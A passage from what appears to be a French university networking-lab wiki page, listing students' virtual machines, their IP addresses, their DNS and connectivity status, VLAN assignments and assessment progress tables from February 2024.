| 9 || g9-ncazin || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.0.69.153&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur VLAN50 : 172.26.145.118&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe0c:3753&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 10 || g10-tnave || pas d'IPv4 sur le CV&amp;lt;br /&amp;gt; (problème dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; pour &amp;lt;code&amp;gt;enX1&amp;lt;/code&amp;gt;, corrigé) || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur VLAN50 : 172.26.145.120&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe05:3c4c&amp;lt;/div&amp;gt; || pas de connexion à Internet en IPv4 || pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| 11 || g11-mchauvel || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.69.0.175&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur VLAN50 : 172.26.145.122&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fed5:a29d&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° groupe !! Nom machine&lt;br /&gt;
! IPv4 CV !! IPv4 VLAN50 !! IPv6 VLAN50&lt;br /&gt;
! Connexion IPv4 Internet !! Résolution DNS&lt;br /&gt;
|-&lt;br /&gt;
| 1 || g1skaderis || Machine non contactable sur bridgeStudents || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 3 || g3-lderycke || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.69.0.243&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur VLAN50 : 172.26.145.107&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe22:6c&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 5 || g5-yelqasta || pas d'IPv4 sur le CV || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur VLAN50 : 172.26.145.111&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fed5:3eaa&amp;lt;/div&amp;gt; || pas de connexion à Internet en IPv4 || pas de résolution DNS fonctionnelle&lt;br /&gt;
|-&lt;br /&gt;
| 6 || g6-crhanim || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.0.69.192&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur VLAN50 : 172.26.145.113&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe28:f8af&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 7 || g7-achaouni || pas d'IPv4 sur le CV || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur VLAN50 : 172.26.145.115&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fecc:52c5&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 9 || g9-acegarra || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.0.69.160&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur VLAN50 : 172.26.145.119&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fed9:960a&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 10 || g10-tduyck || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.0.69.178&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur VLAN50 : 172.26.145.121&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:e3ff:fe28:c19e&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 11 || g11-tnehari || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur CV : 10.69.0.240&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur VLAN50 : 172.26.145.123&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe38:6bca&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;résolution DNS fonctionnelle&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° groupe !! Nom machine&lt;br /&gt;
! IPv4 Internet !! IPv6 Internet&lt;br /&gt;
! Connexion IPv4 Internet&lt;br /&gt;
|-&lt;br /&gt;
| 1 || g1_router || pas d'IPv4 routée sur Internet || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur Internet : 2001:660:4401:60a0:216:3eff:fe8f:70b&amp;lt;/div&amp;gt; || pas de connexion à Internet en IPv4&lt;br /&gt;
|-&lt;br /&gt;
| 3 || g3_router || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur Internet : 193.48.57.181&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur Internet : 2001:660:4401:60a0:216:3eff:fe26:9696&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 4 || g4_router || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur Internet : 193.48.57.182&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur Internet : 2001:660:4401:60a0:216:3eff:fefc:6d5d&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 5 || g5_router || pas d'IPv4 routée sur Internet || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur Internet : 2001:660:4401:60a0:216:3eff:fecb:2a9c&amp;lt;/div&amp;gt; || pas de connexion à Internet en IPv4&lt;br /&gt;
|-&lt;br /&gt;
| 6 || g6_router || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur Internet : 193.48.57.184&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur Internet : 2001:660:4401:60a0:216:4eff:fe8f:72a&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 7 || g7_router || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur Internet : 193.48.57.185&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur Internet : 2001:660:4401:60a0:217:4fff:fefc:7e2a&amp;lt;/div&amp;gt; || pas de connexion à Internet en IPv4&lt;br /&gt;
|-&lt;br /&gt;
| 8 || g8_router || pas d'IPv4 routée sur Internet || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur Internet : 2001:660:4401:60a0:216:3eff:feeb:3069&amp;lt;/div&amp;gt; || pas de connexion à Internet en IPv4&lt;br /&gt;
|-&lt;br /&gt;
| 9 || g9_router || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur Internet : 193.48.57.179&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur Internet : 2001:660:4401:60a0:216:3eff:fe4d:60f3&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 10 || g10_router || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur Internet : 193.48.57.187&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur Internet : 2001:660:4401:60a0:216:3eff:fe8f:fab&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| 11 || g11_router || &amp;lt;div style='color: green;'&amp;gt;IPv4 sur Internet : 193.48.57.189&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;IPv6 sur Internet : 2001:660:4401:60a0:216:3eff:fe5f:b67b&amp;lt;/div&amp;gt; || &amp;lt;div style='color: green;'&amp;gt;connexion à Internet en IPv4 possible&amp;lt;/div&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Répartition des binômes pour les travaux pratiques &amp;quot;académiques&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Cahier !! Nom machine services &lt;br /&gt;
! IPv4 privée machine services !! Nom de domaine !! Nom machine mandataire &lt;br /&gt;
! IPv4 privée et routée machine mandataire !! Elève &lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E1 | Cahier n°1]]&lt;br /&gt;
| aigle|| 192.168.7.2|| aigle.lol|| heterodontosaurus|| 193.48.57.185|| Bilal EL HASNAOUI&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E2 | Cahier n°2]]&lt;br /&gt;
| chevreuil||10.10.10.10&lt;br /&gt;
| chevreuil.lol|| spinosaure|| 193.48.57.179|| Némo CAZIN&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E3 | Cahier n°3]]&lt;br /&gt;
| belette|| 10.10.10.11|| belette.lol|| spinosaure|| 193.48.57.179|| Antoine CEGARRA&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E4 | Cahier n°4]]&lt;br /&gt;
| truite|| 10.10.10.10|| truite.fun|| brachiosaure|| 193.48.57.181|| Simon CRUCHET&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E5 | Cahier n°5]]&lt;br /&gt;
| esturgeon|| 10.10.10.11|| esturgeon.fun|| brachiosaure|| 193.48.57.181|| Louis DERYCKERE&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E6 | Cahier n°6]]&lt;br /&gt;
| palourde|| 10.10.10.10|| palourde.fun|| raptor|| 193.48.57.182|| Romain DUHR&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E7 | Cahier n°7]]&lt;br /&gt;
| bigorneau|| 10.10.10.11|| bigorneau.fun|| raptor|| 193.48.57.182||Amaury BECQUET&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E8 | Cahier n°8]]&lt;br /&gt;
| munchkin|| 10.10.10.5|| munchkin.site|| trex|| 193.48.57.183|| Youness EL QASTALANI&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E9 | Cahier n°9]]&lt;br /&gt;
| ecureuil|| 10.12.12.17|| ecureuil.pics|| velociraptor|| 193.48.57.184|| Heriniaina ANDRIANIRINTSOA&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E10 | Cahier n°10]]&lt;br /&gt;
| siamois|| 10.10.10.6|| siamois.site|| trex|| 193.48.57.183|| Younes BENMBAREK&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E11 | Cahier n°11]]&lt;br /&gt;
| lynx|| 10.12.12.18|| lynx.pics|| velociraptor|| 193.48.57.184|| Chaymae RHANIM&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E12 | Cahier n°12]]&lt;br /&gt;
| nyala|| 192.168.7.3|| nyala.website|| heterodontosaurus|| 193.48.57.185|| Ayoub CHAOUNI&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E13 | Cahier n°13]]&lt;br /&gt;
| tigre|| 192.168.10.3|| tigre.lol|| smilodon|| 193.48.57.180|| Louis WIJSMAN&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E14 | Cahier n°14]]&lt;br /&gt;
| ornithorynque|| 10.10.10.10|| ornithorynque.lol|| pteranodon|| 193.48.57.187||Thomas NAVE&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E15 | Cahier n°15]]&lt;br /&gt;
| axolotl|| 10.10.10.18|| axolotl.lol|| plesiosaurus|| 193.48.57.186|| Adrien PALIFERRO&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E16 | Cahier n°16]]&lt;br /&gt;
| caribou|| 10.10.10.11|| caribou.lol|| pteranodon|| 193.48.57.187|| Thibault DUYCK&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E17 | Cahier n°17]]&lt;br /&gt;
| panthere|| 192.168.10.2|| panthere.lol|| smilodon|| 193.48.57.180||Thomas LEFRANC&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E18 | Cahier n°18]]&lt;br /&gt;
| singe|| 10.10.10.14|| singe.lol || mosasaurus|| 193.48.57.188|| Stéphane KADER-ISSACK&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E19 | Cahier n°19]]&lt;br /&gt;
| loutre|| 10.10.10.12|| loutre.lol|| mosasaurus|| 193.48.57.188|| Marion NORMAND&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E20 | Cahier n°20]]&lt;br /&gt;
| fennec|| 192.168.11.21|| fennec.pics|| triceratops|| 193.48.57.189|| Taha NEHARI&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2023/2024 E21 | Cahier n°21]]&lt;br /&gt;
| castor-canard|| 192.168.11.20|| castor-canard.lol|| triceratops|| 193.48.57.189|| Martin CHAUVELIERE&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Répartition des Vlan des binômes pour les travaux pratiques &amp;quot;académiques&amp;quot; =&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
!Elève&lt;br /&gt;
!Binôme&lt;br /&gt;
!Vlan&lt;br /&gt;
!Adresse IPv4&lt;br /&gt;
!Adresse IPv6&lt;br /&gt;
!Adresse IPv4 routée secondaire&lt;br /&gt;
|-&lt;br /&gt;
|CAZIN Némo&lt;br /&gt;
|9&lt;br /&gt;
|2009&lt;br /&gt;
|10.60.18.1&lt;br /&gt;
|&lt;br /&gt;
|193.48.57.167&lt;br /&gt;
|-&lt;br /&gt;
|CEGARRA Antoine &lt;br /&gt;
|9&lt;br /&gt;
|3009&lt;br /&gt;
|10.60.19.1&lt;br /&gt;
|&lt;br /&gt;
|193.48.57.167&lt;br /&gt;
|-&lt;br /&gt;
|PALIFERRO Adrien&lt;br /&gt;
|8&lt;br /&gt;
|2008&lt;br /&gt;
|10.60.16.1&lt;br /&gt;
|&lt;br /&gt;
|193.48.57.169&lt;br /&gt;
|-&lt;br /&gt;
|CHAUVELIERE Martin&lt;br /&gt;
|11&lt;br /&gt;
|2011&lt;br /&gt;
|10.60.22.1&lt;br /&gt;
|&lt;br /&gt;
|193.48.57.166&lt;br /&gt;
|-&lt;br /&gt;
|NEHARI Taha&lt;br /&gt;
|11&lt;br /&gt;
|3011&lt;br /&gt;
|10.60.23.1&lt;br /&gt;
|&lt;br /&gt;
|193.48.57.166&lt;br /&gt;
|-&lt;br /&gt;
|BENMBAREK Younes&lt;br /&gt;
|5&lt;br /&gt;
|2005&lt;br /&gt;
|10.60.10.1&lt;br /&gt;
|&lt;br /&gt;
|193.48.57.170&lt;br /&gt;
|-&lt;br /&gt;
|EL QASTALANI Youness &lt;br /&gt;
|5&lt;br /&gt;
|3005&lt;br /&gt;
|10.60.11.1&lt;br /&gt;
|&lt;br /&gt;
|193.48.57.170&lt;br /&gt;
|-&lt;br /&gt;
|DUHR Romain&lt;br /&gt;
|4&lt;br /&gt;
|2004&lt;br /&gt;
|10.60.8.1&lt;br /&gt;
|&lt;br /&gt;
| 193.48.57.163&lt;br /&gt;
|-&lt;br /&gt;
|BECQUET Amaury&lt;br /&gt;
|4&lt;br /&gt;
|3004&lt;br /&gt;
|10.60.9.1&lt;br /&gt;
|&lt;br /&gt;
| 193.48.57.163&lt;br /&gt;
|-&lt;br /&gt;
|DUYCK Thibault&lt;br /&gt;
|3&lt;br /&gt;
|3003&lt;br /&gt;
|10.60.7.1&lt;br /&gt;
|&lt;br /&gt;
| 193.48.57.164&lt;br /&gt;
|-&lt;br /&gt;
|NAVE Thomas&lt;br /&gt;
|3&lt;br /&gt;
|2003&lt;br /&gt;
|10.60.6.1&lt;br /&gt;
|&lt;br /&gt;
| 193.48.57.164&lt;br /&gt;
|-&lt;br /&gt;
|CRUCHET Simon&lt;br /&gt;
|1&lt;br /&gt;
|2001&lt;br /&gt;
|10.60.2.1&lt;br /&gt;
|&lt;br /&gt;
| 193.48.57.165&lt;br /&gt;
|-&lt;br /&gt;
|DERYCKERE Louis&lt;br /&gt;
|1&lt;br /&gt;
|3001&lt;br /&gt;
|10.60.3.1&lt;br /&gt;
|&lt;br /&gt;
| 193.48.57.165&lt;br /&gt;
|-&lt;br /&gt;
|CHAOUNI Ayoub&lt;br /&gt;
|7&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|193.48.57.168&lt;br /&gt;
|-&lt;br /&gt;
|EL HASNAOUI Bilal&lt;br /&gt;
|7&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|193.48.57.168&lt;br /&gt;
|-&lt;br /&gt;
|Rhanim Chaymae&lt;br /&gt;
|6&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|193.48.57.171&lt;br /&gt;
|-&lt;br /&gt;
|ANDRIANIRINTSOA Heriniaina&lt;br /&gt;
|6&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|193.48.57.171&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Contrôles continus &amp;quot;TP académique&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
== Premier contrôle continu 08/02/2024 ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° élève !! Elève !! domaine !! machine services !! machine mandataire !! commutateur virtuel !! tâche annexe&lt;br /&gt;
|-&lt;br /&gt;
| 1 || Bilal EL HASNAOUI&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 2 || Némo CAZIN &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 3 || Antoine CEGARRA &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 4 || &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 5 || Louis DERYCKERE&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 6 || Romain DUHR&lt;br /&gt;
| || || || || Configuration du commutateur virtuel SE4 sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, propre&lt;br /&gt;
|-&lt;br /&gt;
| 7 || &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 8 || Youness EL QASTALANI&lt;br /&gt;
| || &amp;lt;code&amp;gt;munchkin&amp;lt;/code&amp;gt; démarre (maj à faire) || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 9 || Heriniaina ANDRIANIRINTSOA&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 10 || Younes BENMBAREK&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 11 || Chaymae RHANIM&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 12 || Ayoub CHAOUNI&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 13 || &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 14 || Thomas NAVE&lt;br /&gt;
| ornithorynque.lol || &amp;lt;code&amp;gt;ornithorynque&amp;lt;/code&amp;gt; démarre (maj à faire) || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 15 || Adrien PALIFERRO&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 16 || Thibault DUYCK&lt;br /&gt;
| caribou.lol || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 17 || &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 18 || Stéphane KADER-ISSACK&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 19 || Marion NORMAND&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 20 || Taha NEHARI&lt;br /&gt;
| fennec.pics || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 21 || Martin CHAUVELIERE&lt;br /&gt;
| castor-canard.lol || &amp;lt;code&amp;gt;castor-canard&amp;lt;/code&amp;gt; démarre (maj à faire) || || ||&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Deuxième contrôle continu 09/02/2024 ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° élève !! Elève !! domaine !! machine services !! machine mandataire !! commutateur virtuel !! tâche annexe&lt;br /&gt;
|-&lt;br /&gt;
| 1 || Bilal EL HASNAOUI&lt;br /&gt;
| aigle.lol || &amp;lt;code&amp;gt;aigle&amp;lt;/code&amp;gt; démarrée || || vous n'avez pas à spécifier d'interfaces initiales ||&lt;br /&gt;
|-&lt;br /&gt;
| 2 || Némo CAZIN &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 3 || Antoine CEGARRA &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 4 || Simon CRUCHET &lt;br /&gt;
| truite.fun || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 5 || Louis DERYCKERE&lt;br /&gt;
| esturgeon.fun || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 6 || Romain DUHR&lt;br /&gt;
| palourde.fun || || || || Configuration du commutateur virtuel SE4 sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, propre&lt;br /&gt;
|-&lt;br /&gt;
| 7 || Amaury BECQUET&lt;br /&gt;
| bigorneau.fun || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 8 || Youness EL QASTALANI&lt;br /&gt;
| munchkin.site || &amp;lt;code&amp;gt;munchkin&amp;lt;/code&amp;gt; démarre (maj non effectuée) || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 9 || Heriniaina ANDRIANIRINTSOA&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 10 || Younes BENMBAREK&lt;br /&gt;
| siamois.site || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 11 || Chaymae RHANIM&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 12 || Ayoub CHAOUNI&lt;br /&gt;
| nyala.website || &amp;lt;code&amp;gt;nyala&amp;lt;/code&amp;gt; démarrée || || vous n'avez pas à spécifier d'interfaces initiales ||&lt;br /&gt;
|-&lt;br /&gt;
| 13 || &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 14 || Thomas NAVE&lt;br /&gt;
| ornithorynque.lol || &amp;lt;code&amp;gt;ornithorynque&amp;lt;/code&amp;gt; démarre (maj en cours mais pas de réseau) || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 15 || Adrien PALIFERRO&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 16 || Thibault DUYCK&lt;br /&gt;
| caribou.lol || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 17 || &lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 18 || Stéphane KADER-ISSACK&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 19 || Marion NORMAND&lt;br /&gt;
| || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 20 || Taha NEHARI&lt;br /&gt;
| fennec.pics || || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 21 || Martin CHAUVELIERE&lt;br /&gt;
| castor-canard.lol || &amp;lt;code&amp;gt;castor-canard&amp;lt;/code&amp;gt; démarre (maj non effectuée) || || ||&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Contrôle continu 13/02/2024 ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! N° élève !! Elève !! domaine !! machine services !! machine mandataire !! commutateur virtuel !! tâche annexe&lt;br /&gt;
|-&lt;br /&gt;
| 1 || Bilal EL HASNAOUI&lt;br /&gt;
| aigle.lol || &amp;lt;code&amp;gt;aigle&amp;lt;/code&amp;gt; démarrée || || vous n'avez pas à spécifier d'interfaces initiales ||&lt;br /&gt;
|-&lt;br /&gt;
| 2 || Némo CAZIN &lt;br /&gt;
| || &amp;lt;code&amp;gt;chevreuil&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 3 || Antoine CEGARRA &lt;br /&gt;
| || &amp;lt;code&amp;gt;belette&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 4 || Simon CRUCHET &lt;br /&gt;
| truite.fun || &amp;lt;code&amp;gt;truite&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 5 || Louis DERYCKERE&lt;br /&gt;
| esturgeon.fun || &amp;lt;code&amp;gt;esturgeon&amp;lt;/code&amp;gt; démarrée || || ||&lt;br /&gt;
|-&lt;br /&gt;
| 6 || Romain DUHR&lt;br /&gt;
